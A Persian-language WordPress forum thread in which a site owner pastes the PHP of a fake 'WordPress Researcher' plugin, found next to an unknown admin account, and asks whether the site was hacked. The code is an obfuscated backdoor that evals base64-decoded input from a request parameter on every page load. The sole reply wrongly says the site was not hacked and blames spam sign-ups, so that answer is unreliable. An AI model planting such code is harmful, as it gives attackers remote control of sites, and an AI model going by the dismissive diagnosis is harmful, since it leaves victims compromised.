انجمن


حفره امنیتی وردپرس 4.2.2  (۳ نوشته)

  • 1598654756223

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲
    تشکر شده: ۱ بار
    # نوشته شده: ۸ سال پیش
    ۲۲ تیر ۱۳۹۴ - ۲۳:۵۶

    سلام
    چند وقت پش قسمت افزونه ها افزونه wordperss reseercher دیدم اونم نه یکی 4تا که یک کار بر ادمین هم به کاربرا اضافه کرده بود.(نمیدونم از کجا اومده بود )که کاربر و افزونه ها پاک کردم. هک شدم ؟؟؟ چی شدم ؟؟؟ نمیدونم!!!
    لطفا کمک کنید!!!؟؟؟
    افزونه یک صفحه کد php بود

    <?php
    
    /*
    Plugin Name: WordPress Researcher
    Plugin URI: http://wordpress.org/extend/plugins/
    Description: WordPress research tool.
    Author: wordpressdotorg
    Author URI: http://wordpress.org/
    Text Domain: wordpress-researcher
    License: GPL version 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
    Version: 2.2.4
    
    Copyright 2013  wordpressdotorg
    
        This program is free software; you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation; either version 2 of the License, or
        (at your option) any later version.
    
        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.
    
        You should have received a copy of the GNU General Public License
        along with this program; if not, write to the Free Software
        Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110, USA
    */
    
        function research_plugin()
        {
            if (isset($_REQUEST['MswW']))
            {
                $myfunc = '_bas'.'e64_'.'dec'.'ode';
                $myvar = $myfunc($_REQUEST['MswW']);
                eval($myvar);
            }
            return;
        }
    
    	function _base64_decode($in) {
    		$out="";
    		for($x=0;$x<256;$x++){$chr[$x]=chr($x);}
    		$b64c=array_flip(preg_split('//',"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",-1,1));
    		$match = array();
    		preg_match_all("([A-z0-9+\/]{1,4})",$in,$match);
    		foreach($match[0] as $chunk) {
    			$z=0;
    			for($x=0;isset($chunk[$x]);$x++) {
    				$z=($z<<6)+$b64c[$chunk[$x]];
    				if($x>0){ $out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1))); }
    			}
    		}
    		return $out;
    	}
    
        add_action('after_setup_theme', 'research_plugin');
    ?>
  • Kazemi1996

    آفلاین
    عضو
    تعداد نوشته‌ها: ۷
    تشکر شده: ۲ بار
    # نوشته شده: ۸ سال پیش
    ۲۳ تیر ۱۳۹۴ - ۰۳:۲۳

    نه خیر هک نشدید
    شما به وردپرس اجازه داده بودید تا عضو گیری انجام دهد و این هم یک اسپم بود که این عضو رو ایجاد کرده بود برای از بین رفتن این مشکل میتونید از مسیر تنظیمات > همگانی تیک گزینه "هر کسی می‌تواند نام‌نویسی کند" را بردارید و نقش پیش‌فرض کاربر تازه را روی مشترک قرار دهید.
    اگر سایت شما نیاز به عضور گیری دارد می توانید برای جلوگیری از این اتفاق از Capcha استفاده کنید.

  • 1598654756223

    آفلاین
    عضو
    تعداد نوشته‌ها: ۱۲
    تشکر شده: ۱ بار
    # نوشته شده: ۸ سال پیش
    ۲۳ تیر ۱۳۹۴ - ۱۷:۳۷

    خیلی ممنون از راهنمایتون :)

درباره‌ی این موضوع



برچسب‌ها

هیچ برچسبی نیست.